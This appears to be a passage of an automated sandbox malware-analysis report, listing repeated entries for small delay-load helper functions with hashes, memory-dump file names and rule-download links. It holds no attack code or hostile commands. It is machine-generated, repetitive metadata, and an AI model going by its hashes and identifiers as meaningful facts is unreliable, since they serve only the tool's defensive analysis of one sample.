Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: 8cfa11f207b2acce3c0ff2b25289fc765ccdebd0b599b552fe1f7f708b89f680
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F431 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8af789bfbe56d66119bd6a9520cf4d576ded50e81abc74fa86d206af22df9bd5
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: 8af789bfbe56d66119bd6a9520cf4d576ded50e81abc74fa86d206af22df9bd5
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F409 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f0938c8312265154b6af6de82c1fe63074da0100c16f95f55d94d921b2b4541c
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: f0938c8312265154b6af6de82c1fe63074da0100c16f95f55d94d921b2b4541c
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F413 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 92d1a4f1796fe852992033c606ea8e0105d08accffce5e7c9cfdc12ce89f5e22
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: 92d1a4f1796fe852992033c606ea8e0105d08accffce5e7c9cfdc12ce89f5e22
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F41D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5676c7bf11dedec5ab35a9c7cecf0e027ba61f22f6a24d685f996b3589968837
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: 5676c7bf11dedec5ab35a9c7cecf0e027ba61f22f6a24d685f996b3589968837
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F5A0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5ad24566d0b9091af7089c5b82e9d7f0974b69f140fe4f33a5f461720bfff6bb
Instruction ID: be04505ec4a36a861f57a5f539e647f7ab1a89873716bf936fa47249709df567
Opcode Fuzzy Hash: 5ad24566d0b9091af7089c5b82e9d7f0974b69f140fe4f33a5f461720bfff6bb
Instruction Fuzzy Hash: FAA002E6AFD102BF322867617E17E3B022CE4D8FA2B308D3EF882C5085A9955C491131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F58C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a73657bd79d20c93c6d71f417a66f8863022928582e33a1a11ff2ca05dfc4f25
Instruction ID: be04505ec4a36a861f57a5f539e647f7ab1a89873716bf936fa47249709df567
Opcode Fuzzy Hash: a73657bd79d20c93c6d71f417a66f8863022928582e33a1a11ff2ca05dfc4f25
Instruction Fuzzy Hash: FAA002E6AFD102BF322867617E17E3B022CE4D8FA2B308D3EF882C5085A9955C491131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F596 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a9b3e02c5320f222dbb83c0cbce7b9af542320be26dcb073409c116124642b14
Instruction ID: be04505ec4a36a861f57a5f539e647f7ab1a89873716bf936fa47249709df567
Opcode Fuzzy Hash: a9b3e02c5320f222dbb83c0cbce7b9af542320be26dcb073409c116124642b14
Instruction Fuzzy Hash: FAA002E6AFD102BF322867617E17E3B022CE4D8FA2B308D3EF882C5085A9955C491131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F564 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: af5cb6f09d9d9345ea6ff70c502e43a2375d1bbdd0ad23dd7d29aff9ac70061e
Instruction ID: be04505ec4a36a861f57a5f539e647f7ab1a89873716bf936fa47249709df567
Opcode Fuzzy Hash: af5cb6f09d9d9345ea6ff70c502e43a2375d1bbdd0ad23dd7d29aff9ac70061e
Instruction Fuzzy Hash: FAA002E6AFD102BF322867617E17E3B022CE4D8FA2B308D3EF882C5085A9955C491131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F56E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 94877d9f5085171275c439ad2d391a8efc3c3b55e31ad4e82ce819511b5a1cda
Instruction ID: be04505ec4a36a861f57a5f539e647f7ab1a89873716bf936fa47249709df567
Opcode Fuzzy Hash: 94877d9f5085171275c439ad2d391a8efc3c3b55e31ad4e82ce819511b5a1cda
Instruction Fuzzy Hash: FAA002E6AFD102BF322867617E17E3B022CE4D8FA2B308D3EF882C5085A9955C491131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F549 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ca50ba7814881d84ef15b507b78d5e001ceebe118bae0b7f773c7be528609a7f
Instruction ID: da67928d52b00e3be4bae94595ce96d5c407301828c10cf5ce4105ec82977bca
Opcode Fuzzy Hash: ca50ba7814881d84ef15b507b78d5e001ceebe118bae0b7f773c7be528609a7f
Instruction Fuzzy Hash: 1AA002E6AF91057F32286B617F17E3B022DE4D4F62B30893EF881D5085A9955D491131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F6E1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F6AB

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 27787e1c35b3411311b4640aa2701a05d4fa3792b5badcf054bf18a8bbf6b35f
Instruction ID: 24e9c83f603490eed3d3886b0ce6f778c0546d7262fe9490b4dc24a1bed06c68
Opcode Fuzzy Hash: 27787e1c35b3411311b4640aa2701a05d4fa3792b5badcf054bf18a8bbf6b35f
Instruction Fuzzy Hash: 20A002E6ABD142BD362872617E17E3B026CE4D8F6AB308D3FFC42D40D5A9911C492631

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F6EB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F6AB

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 230d5bca3b0142db3eb35e38644df28c5de1afd6b7f81fd2d8ee301853add227
Instruction ID: 24e9c83f603490eed3d3886b0ce6f778c0546d7262fe9490b4dc24a1bed06c68
Opcode Fuzzy Hash: 230d5bca3b0142db3eb35e38644df28c5de1afd6b7f81fd2d8ee301853add227
Instruction Fuzzy Hash: 20A002E6ABD142BD362872617E17E3B026CE4D8F6AB308D3FFC42D40D5A9911C492631

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F6F5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F6AB

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 743fe52a2da364036396afd7735175f99626fbfc8a2667b50484731ca01cd81b
Instruction ID: 24e9c83f603490eed3d3886b0ce6f778c0546d7262fe9490b4dc24a1bed06c68
Opcode Fuzzy Hash: 743fe52a2da364036396afd7735175f99626fbfc8a2667b50484731ca01cd81b
Instruction Fuzzy Hash: 20A002E6ABD142BD362872617E17E3B026CE4D8F6AB308D3FFC42D40D5A9911C492631

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F6FF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F70C

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 887404ccc0af2737eb181804b0cd2f1f07666e2e1422051a45f8d63f6ad93291
Instruction ID: 866ea69d970f6b3ebd73fec6533621782661a726766cd8f212924c0eb8f34c52
Opcode Fuzzy Hash: 887404ccc0af2737eb181804b0cd2f1f07666e2e1422051a45f8d63f6ad93291
Instruction Fuzzy Hash: 8FA002E6AB9203BD322866617E97E3B522CF8D0F36B308D3EF841D4085A8901D895131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F72E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F70C

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0f9680cb29e22aabca88415703b0327ee7f5a3881d2592f92378cd4b9d5ceaa1
Instruction ID: ff415bbfc1fbd413409c3cdbf6e74a30008c04be783be16d88fd5909f9c174b7
Opcode Fuzzy Hash: 0f9680cb29e22aabca88415703b0327ee7f5a3881d2592f92378cd4b9d5ceaa1
Instruction Fuzzy Hash: 09A002E6ABD203BD322866617E57E3B522CE8D4F62B308D3EF842C4085A8901D895131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F71A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F70C

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 89273acc0e48bf160664b027b7db294478d74356fc77d03eb33fe542fbb3aecd
Instruction ID: ff415bbfc1fbd413409c3cdbf6e74a30008c04be783be16d88fd5909f9c174b7
Opcode Fuzzy Hash: 89273acc0e48bf160664b027b7db294478d74356fc77d03eb33fe542fbb3aecd
Instruction Fuzzy Hash: 09A002E6ABD203BD322866617E57E3B522CE8D4F62B308D3EF842C4085A8901D895131

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B199 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

